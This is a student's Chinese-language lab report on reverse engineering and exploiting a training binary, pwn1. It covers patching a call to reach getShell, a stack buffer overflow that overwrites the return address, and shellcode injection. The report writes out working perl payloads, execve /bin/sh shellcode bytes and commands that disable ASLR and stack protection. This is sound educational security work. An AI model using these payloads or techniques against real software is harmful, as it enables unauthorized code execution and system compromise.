20174307周俊锴 实验一 平台逆向破解
实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
需要掌握的知识点
- NOP——空操作——“0x90”
- JNE(Jump if Not Equal)——条件跳转——“0x75”
- JE(Jump if Equal)——条件跳转——”0x74“
- JMP——无条件跳转——“0xeb”(短跳转)、“0xe9”(近跳转)、"0xEA"(远跳转)
- CMP——比较指令——“0x39”
- 下载目标文件pwn1存放在20174307pwn1文件夹中并用cp命令重新生成一个文件夹20174307pwn2,并进行反汇编。
输入objdump -d pwn1 | more对pwn1文件进行反汇编
实验步骤
直接修改程序机器指令,改变程序执行流程
下载目标文件pwn1存放在20174307pwn1文件夹中并用cp命令重新生成一个文件夹20174307pwn2,并进行反汇编。
输入objdump -d pwn1 | more对pwn1文件进行反汇编。
输入/main找到主函数位置可以发现这个elf文件里有三个函数,main,foo,getShell,其中getShell函数就是我们想让程序跳转到的地方。
可以看到main中有一条call指令调用了foo,我们要做的就是把这里改成call getShell。这里的机器码是e8 d7 ff ff ff,e8是call的机器码,后面的d7 ff ff ff就是调用的foo的地址。
这个值的算法是:用EIP的值减掉跳转地址的值,然后取补码;当然用跳转地址减EIP也是一样的。比如这里当程序运行到call时,EIP指向下一条语句,也就是80484ba,foo函数的地址是8048491,可以计算得出ff ff ff d7,这里用小端法表示就和elf文件中一样了。
vi修改程序
用vi打开4309pwn1文件后是乱码,按ESC键后输入 :%!xxf 回车可显示16进制,输入 /d7 可以搜索文件中所有的d7,结合反汇编中d7相邻的数字可以确定位置,使用按r键修改d7位为c3,然后输入 :%!xxd -r 改为原来的格式,输入 :wq 保存并退出。
验证修改成功
先对修改后的文件进行反汇编如下,可以看到call指令后的函数已变为getshell。
运行文件结果如下,可知修改成功。(20174307pwn1中未经过修改,所以打开时没有输出,而20174307pwn2中文件经过修改,所以打开会有输出)
通过构造输入参数,造成BOF攻击,改变程序执行流
反汇编,了解程序的基本功能
输入objdump -d pwn1 | more对pwn1文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞。
这里读入字符串,但系统只预留了28字节(0x1c)的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址。确认输入字符串哪几个字符会覆盖到返回地址
输入gdb pwn1
对文件进行调试,输入r
运行程序。后我们尝试覆盖,输入40个字节的字符串后出现段错误,输入【info r】可以看到EIP的值为0x35353535,可以验证第33-36为EIP的空间。
这验证了刚才提到的,输入的字符的第33-36这四个字节将覆盖EIP寄存器中的值。
那么要向让main函数调用getShell函数,只需将第33-36这四个字节改为 getShell 的内存地址。
- 确认用什么值来覆盖返回地址
之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为11111111222222223333333344444444\x7d\x84\x04\x08
。 - 构造输入字符串
由于我们没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,所以先生成包括这样字符串的一个文件,\x0a
表示回车。 - 输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,使用输出重定向>将perl生成的字符串存储到文件input中。 - 输入指令
xxd input
查看input文件的内容是否如预期。 - 输入
(cat input; cat) | ./pwn1
,将input的输入,通过管道符“|”,作为pwn1的输入。
注入Shellcode并执行
shellcode就是一段机器指令(code);通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
准备工作
apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
- retaddr+nop+shellcode
- nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
可以看出进程号是3886,之后进入gdb输入
attach 6602
调试这个进程。
输入命令disassemble foo
查看ret的进程值为0x080484ae。
输入命令0x080484ae
在0x080484ae
处设置断点。
在之前那个终端按下回车,之后回现在这个终端输入c
继续运行。
构造我们要输入的shellcode:\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
·使用命令:perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
·之后运行一下。
查看pid之后用gdb attach
,把断点断在foo()->ret
,这样我们可以看到我们注入的代码会溢出到哪。
执行(cat input_shellcode;cat) | ./pwn1
此时程序已被攻击,调用了getShell函数,实现了shell功能,如下图:
问题回答
什么是漏洞?漏洞有什么危害?
(1)我认为漏洞就是指应用软件或操作系统软件在逻辑设计上的缺陷或错误,被不法者利用,通过网络植入木马、病毒等方式来攻击或控制整个电脑,窃取电脑中的重要资料和信息,甚至破坏系统。
(2)漏洞的危害:如漏洞被恶意用户利用,会造成信息泄漏,如黑客攻击网站即利用网络服务器操作系统的漏洞。 对用户操作造成不便,如不明原因的死机或丢失文件等。
实验收获与感想
虽然在之前的课程中学习过指令体系结构以及其对应机器码的相关内容,但当时学习的时候并没有完全掌握,对堆栈和一些寄存器的使用还很懵懂。第一次动手实现缓冲区溢出攻击,使我对堆栈的结构有了更深的认识,理解了堆栈是怎么被恶意代码覆盖的,覆盖后是怎么实现跳转的,跳转后是怎么执行的;也在实践中掌握了一些常用的指令的机器码以及寄存器的功能。